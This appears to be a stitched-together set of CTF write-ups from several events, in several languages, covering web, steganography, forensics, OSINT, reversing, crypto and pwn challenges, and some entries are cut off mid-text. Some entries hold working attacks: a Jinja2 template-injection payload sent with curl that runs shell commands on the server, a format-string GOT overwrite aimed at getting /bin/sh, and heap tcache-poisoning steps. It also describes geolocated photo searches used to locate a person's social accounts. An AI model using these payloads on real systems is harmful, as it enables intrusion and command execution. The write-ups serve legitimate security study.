find![](https://github.com/Immobility/CTF/blob/master/wpiCTF/photos/7e0251fa47ee79d28850a4a150bf3bbf.png?raw=true) ``` WPI{Inspect0r_Gadget} ``` ------------ Getaflag------------```Challenge:Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) made by godeva``` The site starts with ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-10-39.png) I started with some simple SQL injections such as ``` ' OR 1=1-- ``` or ``` ' OR 1=1# ```, but I didn't get anything out of that. However, after I inspected the source code, on the comments, it showed ``` SGV5IEdvdXRoYW0sIGRvbid0IGZvcmdldCB0byBibG9jayAvYXV0aC5waHAgYWZ0ZXIgeW91IHVwbG9hZCB0aGlzIGNoYWxsZW5nZSA7KQ== ```, which in base64, translates to``` Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) ```, aha! so when I went to http://getaflag.wpictf.xyz:31337/auth.php it gave me this psudocode``` // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } }``` Because I didn't know to much about PHP, but after reading some functions, I [stumbled](https://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) on how the extract function is very vulnerable due to how it can replace an element in an array. So after experimenting and having a small knowledge of address object exploits, I came up to an idea since ```$input === get_contents($passcode)```, and the address bar shows the query, I changed input to a null value and also wrote a passcode = null, resulting in ```http://getaflag.wpictf.xyz:31337/?input=&passcode=null```. and our result should have given us ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-31-16.png) However, you get rick roll'd after seeing clicking on the link, so when I inspected the source code again, it gave me the flag! ```WPI{1_l0v3_PHP}``` ------------Chirp------------```Challenge:made by Justo and siege file from https://drive.google.com/open?id=1lcdC9qVBKtSfxOPWLbWd8kAYnPEoSZQb``` For this challenge, you had to look at a photo of this bird ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/chal.jpg) At first, I thought it was steganography, but I later realized that recon was not supposed to be a steg challenge. So after connecting the title of the challenge and the picture of the bird, I found that the image is depicting an image of Twitter. I went to the sponsor's Twitter page and got the flag. ``` WPI{sp0nsored_by_si3ge} ``` ------------
# 90.9 WPIFM - Steganography - 300 Points I (Remy) wrote this challenge, so of course my writeup will be biased... I wrote it! However, this writeup walks through how the challenge could be solved without any prior understanding on how it works. ## Challenge Description: What song is this? https://drive.google.com/open?id=1cdtUOw8ha3LGWTteIvXnGsHjMUZo7xeh WARNING: LOUD!!! Start at low volume. made by rm -k ## Lookin' at it Following the drive link, we are presented with a six minute audio file. The audio file has bursts of music interrupted by segments of radio static; it sounds as though someone keeps flipping through radio channels on an old radio. The music itself is a mix of electronic, happy hardcore, future funk, J-pop, gachimuchi, and eurobeat. The author of this challenge must be a total weeb... but he does have a good taste in music. At the end of the audio, there is an extended clip of the outro of Modjo's Lady; looks like they found the music they wanted. French house is a nice genre of music. So my first intuition here is that data is being encoded in how the data is presented, and *not* within the data itself. Specifically, a further examination is warranted on how the static interrupts the music clips. With that being said, it makes sense to run the audio clip through some editing software to analyze it. Audacity should do the trick here. ![alt text](https://github.com/rkaldawy/writeups2019/blob/master/wpictf/90-9WPIFM/audacity.png "The Audio in Audacity") Theres a couple pieces of important information we can pry just by looking at the audio. First, and most obviously, static chunks come in units of .25 seconds, while audio chunks come in units of one second. One could (and should) infer that these are the stardard units for ech type of audio. If this audio was binary, a one-second music chunk could be a '1' while a quarter-second static segment could be a '0'. Second, and perhaps less obviously, the same static sample is being used for each static chunk. Take a look at the chunk between 6.75 and 7.0, and the chunk between 9.0 to 9.25: they are the same! Furthermore, it seems like the author left a full, unaltered sample of the static audio chunk in the first three seconds of the audio. We can use this audio sample as a reference to identify which parts of the audio are static, and which parts are music. At this point, it seems very promising to break the audio down into binary data, based on the static and music chunks. Since we know that the static audio is the same, throughout the entire clip, we just need to develop a system that can identify spans of that audio. ## Breakin' down the audio There are probably many ways to accomplish the task of breaking down the audio into data. Admittedly, I'm a computer scientist (and not an electrical engineer or signals engineer), so the way that I do this probably is not optimal. In any case, I decided to use a fast fourier transform of the static sample at the beginning of the audio file to compare it with transforms of quarter second chunks of the audio. By comparing the resulting frequencies of the two transforms, in a process called correllation, it is possible to determine whether or not that quarter second segment has static or music. Since we are given a full sample of the static at the beginning of the file, I match segments of static exactly. If I find that a given chunk has the first quarter second of static, I then check if the next quarter second has *the next* quarter second of static. When I eventually find music, I reset my static check back to the first quarter second. The code in fft\_solver.py will take the audio and break it down into static chunks (denoted 'B') and audio chunks (denoted 'W'). It took a bit of parameter tweaking to get the correlation tollerance to work properly so that there were no false positives. I also made sure to slice off the 3-second static sample at the beginning of the audio and the music at the end (since we can assume it was placed there for aesthetic purposes). Looking at the generated pattern, it may at first seem like random chunks of bits. However, a certain pattern emerges which betrays what the bits represent. Within the stream, this pattern is visible: **BBBBBBB**WWBWWBWWBBW**BBBBBBB** **BWWWWWB**WWWBBBBWBBW**BWWWWWB**...... Interesting. If I didn't know any better, that looks like the makings of the corner patterns of a QR code! Following through with this idea, we can try illustrating a QR code. ## Constructing the QR code Static chunks will form black pixels, while music chunks will form white pixels. Since we know what the corner patterns of a QR code look like, we can infer what the length of the QR code is, such that we achieve the desired patterns at the corners. Recreating the QR code gives us the following: ![alt text](https://github.com/rkaldawy/writeups2019/blob/master/wpictf/90-9WPIFM/output.bmp "The QR Code") Scanning it will get us the flag: WPI{ju$t\_P1cK\_@\_s0Ng}. ## Conclusions This was the only challenge in WPICTF 2019 that had no solves. In my opinion, stegonography is the hardest CTF category, so it isn't unreasonable that a challenge should have *very few* solves. However, no solves at all is a sign that the challenge did not give people enough of an indicator that they were going in the right direction. In retrospect, I could have put a subtle hint somewhere in the challenge to tell people to look for QR codes. At the very least, I hope people enjoyed listening to the challege, and getting to hear some of the music that I like.
what we see![](https://i.imgur.com/HcHNaBH.png)ok, going to cookies![](https://i.imgur.com/hYiGGya.png)how we can edit it? Google task name and find that it is a class from Harry Potter. Ok, its mean that students learned by professors. edit cookie like Professor and get a flag![](https://i.imgur.com/uqiYub5.png)![](https://i.imgur.com/ujlAk5l.png)
# Sniffer - Forensics ### Points : #### Solved : # ###### Files :[sniffer.rar](sniffer.rar) ###### HintsNone --- # Walkthrough Unraring the sniffer.rar file will extract a pcap file containing captured network trafic. After opening the file using wireshark, there a are a lot of UDP and TCP streams but extracting them wasn't helpful. That being said, taking a look at the "Ethernet" packets was actually helpful as each one of them contains some data. We can filter the packets using tshark given that these packets have fixed length (29) ```$ tshark -r pcap_sniffer.pcap -Y '((frame.len == 29))' 262 75.983811 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 263 75.986726 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 264 75.987725 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 265 75.988776 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 266 75.989697 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 267 75.990853 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 268 75.991871 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 269 75.992966 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 270 75.993987 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 271 75.994926 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 272 75.995933 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 273 75.996932 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 274 75.997886 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 275 75.999012 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 276 76.000019 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 277 76.001019 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 278 76.001986 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 279 76.003135 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 280 76.004500 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 281 76.005722 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 282 76.037106 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 283 76.038075 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 284 76.039100 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 285 76.040085 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 286 76.041019 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 287 76.042006 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 288 76.043057 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 289 76.044099 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 290 76.045035 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 291 76.045973 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 292 76.046954 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 293 76.047919 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 294 76.048853 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 295 76.049791 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 296 76.050780 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II 297 76.051738 Applicon_01:6c:cf → 45:00:00:1d:00:01 0x0a00 29 Ethernet II ``` We can simply extract the data via this command ```$ tshark -r pcap_sniffer.pcap -Y '((frame.len == 29))' -T fields -e data020f010101010800a4ff0000000053020f010101010800b1ff0000000046020f01010101080087ff0000000070020f010101010800a0ff0000000057020f010101010800a4ff0000000053020f010101010800a2ff0000000055020f0101010108008bff000000006c020f010101010800c0ff0000000037020f01010101080096ff0000000061020f010101010800b3ff0000000044020f010101010800b5ff0000000042020f010101010800c4ff0000000033020f0101010108009fff0000000058020f010101010800c5ff0000000032020f010101010800a6ff0000000051020f0101010108007fff0000000078020f0101010108009dff000000005a020f010101010800b1ff0000000046020f010101010800beff0000000039020f010101010800c2ff0000000035020f010101010800aaff000000004d020f010101010800afff0000000048020f010101010800a1ff0000000056020f01010101080091ff0000000066020f0101010108009dff000000005a020f0101010108008dff000000006a020f010101010800b1ff0000000046020f01010101080082ff0000000075020f0101010108009dff000000005a020f010101010800b1ff0000000046020f010101010800beff0000000039020f01010101080083ff0000000074020f010101010800aaff000000004d020f0101010108007dff000000007a020f010101010800beff0000000039 ``` Now we just go other the data and extract the last two bits while removing extra spaces ```$ for val in $(tshark -r pcap_sniffer.pcap -Y '((frame.len == 29))' -T fields -e data ); do a=${val:28:2}; echo $a ; done | tr -d [:space:] 5346705753556c3761444233583251785a4639354d4856665a6a46755a4639744d7a3939```This is interesting, we can decode this from hex to ascii ```$ echo 5346705753556c3761444233583251785a4639354d4856665a6a46755a4639744d7a3939 | xxd -r -pSFpWSUl7aDB3X2QxZF95MHVfZjFuZF9tMz99``` This sounded like it is encoded in base64, let's verify that ```$ echo SFpWSUl7aDB3X2QxZF95MHVfZjFuZF9tMz99 | base64 -dHZVII{h0w_d1d_y0u_f1nd_m3?}``` That's it! Here is the one liner :```$ for val in $(tshark -r pcap_sniffer.pcap -Y '((frame.len == 29))' -T fields -e data ); do a=${val:28:2}; echo $a ; done | tr -d [:space:] | xxd -r -p | base64 -dHZVII{h0w_d1d_y0u_f1nd_m3?}``` ## Flag HZVII{h0w\_d1d\_y0u\_f1nd\_m3?}
# AFK ![task](./src/AFK.png) Начнем, пожалуй, с одного из самых легких заданий из категории Recon, да и из всего CTF. Кому нужна сейчас почта? Но Алеша помнил ее. На всякий случай. [email protected] Что вам первое приходит в голову? Если вы социофоб, то поколеблетесь пару минут, прогуглите почту (в гугле ничего интерсного, к слову не будет) и напишите на этот ящик. Если нет, то напишите сразу. ![answer](./src/answer.png) Получаем автореплай с ссылкой на GitHub.Часто в автореплаях содержится куча полезной инфы. Особенно в рабочих почтах. ![github](./src/github.png) Гитхаб довольно скудный, даже негде разгуляться. Заходим в единственный репозиторий `Sec-Notes` с единственным файлом `important_bytes.bin`. **Флаг:** `YauzaCTF{4u70r3ply_v3ry_u53ful}` #### Из забавного Очень-очень много попыток сбросить пароль от аккаунтов. Зачем? ![fun](./src/1.png) Действительно. ![fun](./src/2.png) По канону. Красиво. Мне нравится. Лайк. ![fun](./src/3.png) А вот это грубо. ![fun](./src/4.png) Ну и как не отдать флаг подоконнику? Вообще у цтферов бурная фантазия на названия. ![fun](./src/5.png) Разбитое стекло ¯\\_(ツ)_/¯ ![fun](./src/6.png) Not bad. ![fun](./src/7.png) Состояние участников YauzaCTF: Даниил ![fun](./src/8.png) Данил, извиняем и идем дальше по нарастающей. # Career fair ![task](./src/Career_fair.png) [price.pdf](./src/price.pdf) Алеша расстерянно смотрел на кусочек бумаги. Ему нужен был тот контакт, который уничтожила Яуза. Но без следа ли? Этот контакт был бы очень полезен для него сейчас. Открываем пдфку. Выделяем нужное место. Радуемся. На маке так и вообще эти штуки можно подвинуть. Удобно. ![price.pdf](./src/contact.jpg) Так же много интересной инфы в метаднных. Открываем PDFCandy. ![price.pdf](./src/meta.png) В первую очередь нас должен интересовать UID ICQ. Расчехляем старого друга. ![price.pdf](./src/kik.png) **Флаг:** `YauzaCTF{w3_4r3_w47ch1n6_y0u}` #### Из забавного ![fun](./src/9.png) О - отчаяние. ![fun](./src/10.png) Чувак, это не так работает. ![fun](./src/11.png) Это угроза? # I've seen you somewhere before. Пошла жара. ![task](./src/i_ve_seen_you_somewhere_before.png) В последний раз в тот день его видели здесь. Связной прислал нам это фото и исчез. А потом случилось то, что случилось. Нам нужны его аккаунты. Говорят, это что-то важное для всех нас. [photo_11_04_19.png](./src/photo_11_04_19.png) Первая важная вещь, которую необходимо выделить, -- дата. Часто названия файлов наследуются от ссылки, по которой они были скачаны. Там могут хранится айдишники, даты и все такое. Вам это здесь никак не пригодится, но просто запомните. Итак, дата. 11.04.19. Идем дальше. Москвичи могут узнать Красный октябрь на фотографии, немосквичи и гости столицы могут подсунуть фотографию гуглу. ![red](./src/red.png) Жмякнем в карты. Там будет куча всего ненужного. Отберем по фотография наш объект. Примерные координаты: `55.740400, 37.609830` ![red](./src/map.png) Суммируем. 1. Дата: `11.04.19`2. Координаты: `55.740400, 37.609830`3. Необходимо найти аккаунты. Минутка гугления и находим несколько нужных утилит. - snradar.azurewebsites.net - geocreepy.com - photo-map.ru Для любителей пожёстче: ```"https://api.vk.com/method/photos.search?" + "lat=" + location_latitude + "&long=" + location_longitude + "&count=" + 100 + "&radius=" + distance + "&start_time=" + timestamp + "&end_time=" + (timestamp + date_increment)``` Самый простой вариант из выше перечисленных -- SnRadar. ![sn](./src/sn.png) 6 результат: ![alex](./src/alex.png) ![vk](./src/vk.png) **Флаг:** `YauzaCTF{my_f4v0ur173_630_7465}` #### Обход сложного решения. Решив AFK, можно было сделать так: ![vk](./src/search.png) Думаю, что можно обойтись без комментариев. # Underground ![task](./src/Underground.png) Говорят, что Kik Mistofy ушел в подполье и перестал работать по знакомым каналам. Он перешел на более современную платформу. Хорошо, что его passphrase никогда не меняется. Участники могли неверно интепретировать слово `passphrase` как пароль и пойти по неверному пути. Что ж, такое бывает. Но давайте по порядку. Гугление по имени/нику ничего не даст. Нужно лишь вспомнить, что этот человек фигурировал в таске ранее. Рассмотрим пдфку внимательнее. Расценки нам ничего не дадут. В отличии от этого: ![task](./src/pdf.png) Гуглим "анонимный фриланс". ![free](./src/free.png) Помните никак не пригодившуюся ключевую фразу `blackwater`? Так вот, ошибкой решающих было то, что они искали нужное объявление в заданиях. Но у нас предложение различных услуг. ![res](./src/res.png) ![y](./src/y.png) **Флаг:** `YauzaCTF{4n0nym0u5_fr33l4nc3}` <hr> За сим откланяюсь и пойду делать таски на финал. Всем спасибо. Оставляйте feedback и пишите свои решения на знакомые вам каналы ;) P.L.
originally posted @ http://klatz.co/ctf-blog/asisctf-silkroad I spent a disproportionately large amount of time solving the first portionof this binary, because I was having a lot of fun learning things via it. Idid not solve anything past the first function. We are given a pwn binary that asks for a magic value and runs through sixobfuscated constraints. It reads from stdin, stores the ASCII, `strtol`s(str to long int) it, and `strlen`s it. I ultimately made a Python script that finds the value efficiently, and a Charness that instruments a function from the binary and iterates throughall possible inputs. Interestingly, I tried a case that the designer may not have considered:leading 0s on the input change the `strlen` result in such a way that it'spossible to cause the remote binary to run into a divide by 0 exception. Here's [my code in a GitHub gist][2] for easy viewing. All of thefiles I created / used are [here][1]. --- ### Process After a little reversing (Ghidra + Binja), I noticed there's 6 constraints (roughlysix basic blocks. I modeled these in Python, first sampling randomly, theniterating from 0 to 2^32-1. I split this into four workers, and it takesaround 80m. I poked around at Z3 and angr to see if I could model the constraints withthem, but my hello-world-y attempts at both weren't fruitful. Z3 ranforever, and angr didn't return anything. Also, parens in lisp suck. Seethose attemps in [the gist][2]. Spending some more time with the Python, I rewrote the loop to cut downthe runtime by a factor of about 100x (4 workers on 4 cores in 80m to about2m). I simplified some of the constraints into the loop, avoiding a lot ofiterations. I had bugs, so the script didn't return any valid values. At this point I was really tired and really confused by indexing, and I hadthe idea of trying to instrument just the one C function. I used Binja topatch it — looping on a failed check, printing the string on all passed. I used r2 to extract all of the contiguous assembly and write it to a file,`bin`. I `mmap`d the file into memory, set that page as executable, andwrote some inline ASM to `jmp` to it. This revealed a problem — none of the library functions would work, sincethe offsets were incorrect, and this mmapped blob didn't have anycompile-time information. However, the calls all tried passing control flowto somewhere slightly above the code blob. So, I padded the blob with nops,and then wrote jmps of the form```asmmov rax, 0x40xxxxjmp rax```as a replacement PLT. I had to manually patch these every time the offsetschanged in the harness binary (`iterate`). I did this a lot. It wasn't fun.There's probably a good way to do this with a Python library to read theELF and ask for the address of those functions, then construct & assemblethe `jmp` instruction and write it to an offset in `bin`. I had a really weird issues where I'd `jmp` to the loaded code, hit `ni`,and gdb would run until a segfault. I asked a few friends and they helpedme realize that I was running into some difference between `ni` and `si` —doing `ni` would continue out of the function until segfaulting later,unless I stepped in a few instructions first. I'm not sure what the reasonis, but my guess is that GDB has some heuristic for determining if you'rein a function or not, and that landing on the first instruction after acall in my weird mmappy situation didn't set up those heuristics correctly.If you have any idea why, @ me on twitter or something. After a lot of tedious debugging, I ended up with a statically compiledbinary `iterate` that pretty quickly (<1m) finds the value. I used this tofind the bugs in my Python code, which were due to not really understandinghow the binary chopped up the int representation of the input. I rewrotethe Python code to make it work. I had fun! I learned a lot. Like, I'm going to reach for DynamoRIO /PINTools / QEMU process emulation next time. [1]: https://www.dropbox.com/sh/gi8v4am90va5ra1/AABL8cAj2ClPAyi58QJG5vSfa?dl=0[2]: https://gist.github.com/ianklatzco/5b1e6589371ff29852f0737749139fcc
- use the one-byte to extend the size of the next chunk - leak the heap, then free it again and with the overlapping chunk, corrupt the tcachebin to point a chunk that contains the top_chunk->size - change the top_chunk size to use house of orange (not the FSOP part) - now we can get some unsorted chunk back from malloc, and so leak of the arena - and last use again the one-byte to overlap and then again corrupt the tcachebin by inserting __free_hook, then insert one gadget See link
# Securinets Prequals CTF 2019 – Easy Trade * **Category:** Foren* **Points:** 200 ## Challenge > We just intercepted some newbies trying to trade flags.>> [foren_trade.pcap](https://github.com/m3ssap0/CTF-Writeups/raw/master/Securinets%20Prequals%20CTF%202019/Easy%20Trade/foren_trade.pcap)>> Author: bibiwars ## Solution The [pcap file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Securinets%20Prequals%20CTF%202019/Easy%20Trade/foren_trade.pcap) contains a capture with a conversation between two people during which an archive file was trasferred. The transfer was performed at packet #23. The data can be copied and put into a file using an hexadecimal editor. ```50 4b 03 04 0a 00 09 00 00 00 6e 80 77 4e 20 64 e5 de 48 00 00 00 3c 00 00 00 08 00 1c 00 66 6c 61 67 2e 74 78 74 55 54 09 00 03 c0 4a 96 5c c0 4a 96 5c 75 78 0b 00 01 04 e8 03 00 00 04 e8 03 00 00 1c 07 86 f2 a0 ac 34 d9 93 33 f0 b9 19 2d cb b4 74 5e fd 2f e4 5b 7d b5 33 f0 0a d8 9b 75 12 b8 21 3a 65 f9 5e 82 7b e6 c2 63 8f ac 42 c4 a1 33 bb 22 d5 e9 2a 95 8a 18 3e bd ae 0c a3 9b 3b fc e5 c4 6b 5d 96 88 3b 5c 50 4b 07 08 20 64 e5 de 48 00 00 00 3c 00 00 00 50 4b 01 02 1e 03 0a 00 09 00 00 00 6e 80 77 4e 20 64 e5 de 48 00 00 00 3c 00 00 00 08 00 18 00 00 00 00 00 01 00 00 00 b4 81 00 00 00 00 66 6c 61 67 2e 74 78 74 55 54 05 00 03 c0 4a 96 5c 75 78 0b 00 01 04 e8 03 00 00 04 e8 03 00 00 50 4b 05 06 00 00 00 00 01 00 01 00 4e 00 00 00 9a 00 00 00 00 00 ``` The [resulting zip file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Securinets%20Prequals%20CTF%202019/Easy%20Trade/flag.zip) is protected and the password to open it is `securinetsXD`; you can read it in packet #13. The file contains the following string. ```c2VjdXJpbmV0c3s5NTRmNjcwY2IyOTFlYzI3NmIxYTlmZjg0NTNlYTYwMX0``` Decoding the base64, you will obtain the flag. ```securinets{954f670cb291ec276b1a9ff8453ea601}```
```curl 'https://wizardschat.tghack.no/login' --data 'has_magic=1&username={{7*7}}' --compressed -c cookie;curl https://wizardschat.tghack.no/ -b cookie```see username...```curl 'https://wizardschat.tghack.no/login' --data 'has_magic=1&username={{url_for.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.popen%28%27cat flag.txt%27%29.read%28%29%22%29}}' --compressed -c cookie;curl https://wizardschat.tghack.no/ -b cookie```see flag when we browser https://wizardschat.tghack.no/login.we find `<input type="hidden" name="has_magic" value="0" />`if we post has_magic=1&username=anything.. then we will get a cookie and new page. the username in response. test SSTI. use {{7*7}}. then username will be 49.final payload .`url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")` python3```from flask import *url_for.__globals__```You can see the results yourself. .......I read korean bro writeup then write this ........hahah
`Can you answer 1000 math questions? nc math.tghack.no 10000` ```pythonimport socketimport subprocessimport reimport structimport hashlib s = socket.socket()s.connect(('math.tghack.no', 10000)) while True: cmd = s.recv(1024) print (cmd) stNum = re.search(" (.*) ",cmd).group(1) numbers = re.findall('[0-9]+', cmd) q = numbers[2] + stNum + numbers[3] x = int(eval(q)) s.sendall(str(x) + "\n")#TG19{calculate_all_the_things}```
### はじめに2019年4月の4日〜8日、NekoChanNano!というCTFチームでTJCTFに参加しました。解けた問題の中、Pwn系の問題「Printf Polyglot」があり、今回この問題の解き方を解説していきたいと思います。 ### 概要こちらは問題記載:```Printf Polyglot - 120 points Written by nthistle Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing. nc p1.tjctf.org 8003```ご丁寧にELFバイナリとソースコードが与えられます。ではとりあえずバイナリを実行してみましょう。```$ ./printf_polyglotWelcome to the brand new Security Consultants Inc. portal!What would you like to do?1.) View the Team!2.) Check the date.3.) Sign up for our newsletter!4.) Report a bug.x.) Exit.```またメニュー系なインターフェースですね。自分は普段、プログラムの動作を把握するには、直接にいじるよりコードを読むのが楽なので、そのソースコードを読んでから行こうと思います! ### 解析コードが長かったため全部を貼りはしないけど、main関数を見れば各メニューオプションそれぞれの関数があることがわかります。```cint main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, NULL); printf("Welcome to the brand new Security Consultants Inc. portal!\n"); char action = 0; char line[128]; while (action != 'x') { printf("What would you like to do?\n"); printf("1.) View the Team!\n"); printf("2.) Check the date.\n"); printf("3.) Sign up for our newsletter!\n"); printf("4.) Report a bug.\n"); printf("x.) Exit.\n"); fgets(line, sizeof line, stdin); action = line[0]; if (action == '1') { view_team(); } else if (action == '2') { check_date(); } else if (action == '3') { newsletter(); } else if (action == '4') { report_bug(); } else if (action != 'x') { printf("Sorry, I didn't recognize that.\n"); }code redirectio printf("\n"); }}```他の関数を見たら、気になったのがcheck_dateとnewsletterだけでした。```cbool date_enabled = false;[...]// apparently calling system() isn't safe? I disabled it so we// should be fine now.void check_date() { printf("Here's the current date:\n"); if (date_enabled) { system("/bin/date"); } else { printf("Sorry, date has been temporarily disabled by admin!\n"); }}```こうやって変数を使って、systemを呼び出さないようにしたようですが、system関数がコードに入ってるだけでPLTに含まれますので、もしある脆弱性によってRIPレジスタを奪えられれば、systemの位置が既にわかります(PIEが有効な場合を除く)。攻撃者にとってはそれがすごく助かります。```cvoid newsletter() { printf("Thanks for signing up for our newsletter!\n"); printf("Please enter your email address below:\n"); char email[256]; fgets(email, sizeof email, stdin); printf("I have your email as:\n"); printf(email); printf("Is this correct? [Y/n] "); char confirm[128]; fgets(confirm, sizeof confirm, stdin); if (confirm[0] == 'Y' || confirm[0] == 'y' || confirm[0] == '\n') { printf("Great! I have your information down as:\n"); printf("Name: Evan Shi\n"); printf("Email: "); printf(email); } else { printf("Oops! Please enter it again for us.\n"); } int segfault = *(int*)0; // TODO: finish this method, for now just segfault, // we don't want anybody to abuse this}```あれれ?気のせい??```cprintf(email);```こう、ユーザーの入力したデータをそのままformat stringを使わずにprintfに渡すと、いわゆるFormat String Bug(FSB)という脆弱性が生まれます。FSBを使えば、例えば任意読み込みや任意書き込みができます。 ### 作戦FSBを使って、ある関数のGOTポインターを上書きし、systemのPLTアドレスに変えましょう。fgetsの後に呼び出されるので、そして入力したemail変数がそのままわたされますので、printfが最適な候補だと思います。 `printf(email);`がこう、二回呼び出されますが、もし一回目はFSBを行えば、二回目はもうprintfではなく、`system(email)`になりますのでご注意ください。そのため、email変数が同時にformat stringでもあり、シェルコマンドでもある必要があります。 ### エクスプロイト```python#!/usr/bin/python2# -*- coding: utf-8 -*-import struct # 作戦:FSBを使ってprintfのGOT要素(0x602048)に、systemのPLTアドレス(0x4006e0)を書き込む。# 次にprintfが呼び出される際、system関数が代わりに実行されてしまう。 def payload(): padding = "a" * 100 command = "/bin/sh #" # 直後のスタックデータが含まれちゃうから「#」でコメント化 # 説明:メニュー選択がスタック変数のactionに保存される。 # そこにアドレスを入れたら、FSBを起こせるときに利用できます。 selection = "3 " selection += struct.pack("
Echo back what you receive 50 times! See the Python tutorial for more information nc echo.tghack.no 5555 ```python import socketimport subprocess s = socket.socket()s.connect(('echo.tghack.no', 5555)) while True: cmd = s.recv(1024) print cmd s.sendall(cmd) #TG19{behold_the_echo_chamber_of_secrets} ```
### The Chamber of Secrets - 300 points (6 solves) > I was walking down a dark corridor one evening when I suddenly heard some whispering from the walls around me. I couldn't quite hear what it said, so when the thing whispering started moving, I obviously followed. What could go wrong, right? After a while, I turned a corner and looked right into some red text on a wall. It said: ```public(h, a, b, q, g) h = (829999038570486 : 549144410878897 : 1) a = -3 b = 313205882961673 q = 1125899906842597 g = (1115545019992514 : 78178829836422 : 1) c = ((700253548714057 : 421820716153583 : 1), (470712751668926 : 131989609316847 : 1)) sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=``` > When standing there pondering who in their right minds would write something like that on a wall, the whispers grew louder and I finally heard what it said: ```pythonkey = SHA256.new() key.update(secret) def bf_encrypt(key, message): bs = Blowfish.block_size iv = Random.new().read(bs) cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) pad_len = bs - divmod(len(message), bs)[1] padding = [pad_len]*pad_len padding = pack('b'*pad_len, *padding) return base64.b64encode(iv + cipher.encrypt(message + > padding)) ```> All of this sounds like gibberish to me, but maybe someone capable of speaking old, mythical languages can decipher the whispers and recover the secrets of old... The first part of the challenge was a bit guessy. We had a couple of public parameters `h`, `a`, `b`, `q` and `g`. By the looks of the values, I assumed it had to be an Elliptic Curve cryptosystem. Also, the `c` value reminded me of the [Elgamal](https://en.wikipedia.org/wiki/ElGamal_encryption) cryptosystem since it had two values for the ciphertext. So this is what I did, I tried to map all values to Elliptic Curve parameters. For example, `a` and `b` had to be parameters of the curve's equation, `q` is a prime number so it must be the parameter that defines the field. Later, I found out a [StackExchange](https://crypto.stackexchange.com/questions/9987/elgamal-with-elliptic-curves#9990) post that discussed this type of encryption scheme. The rest of the values were points of the curve. `h` being the public key as in Elgamal cryptosystem, `g` is a point of order N (generator in the Elgamal system). Finally, `c` was the ciphertext as expected and the random base64 string that appears at the bottom, is yet another ciphertext that we need to decipher with the Blowfish cipher as suggested by the Python function. Given the values that we just mapped I figured I could recover the private key `x` by calculating the Discrete Logarithm between `h` and `g`. This is because, the public key `h` is given by: ```h = x*g``` Since the values are small, it is quite easy to calculate the key. Having the private key, we can now decrypt the `c` value: ```C' = c1*xP = c2 - C', where P is the plaintext``` Finally, after a bit more guessing, I discovered that the Blowfish key was the X value of the plaintext, leading to the decryption of the base64 and flag retrieval. For the Elliptic Curve part, I created a Sage script as follows: ```python## ElGamal Elliptic Curve decryption a = -3b = 313205882961673q = 1125899906842597 E = 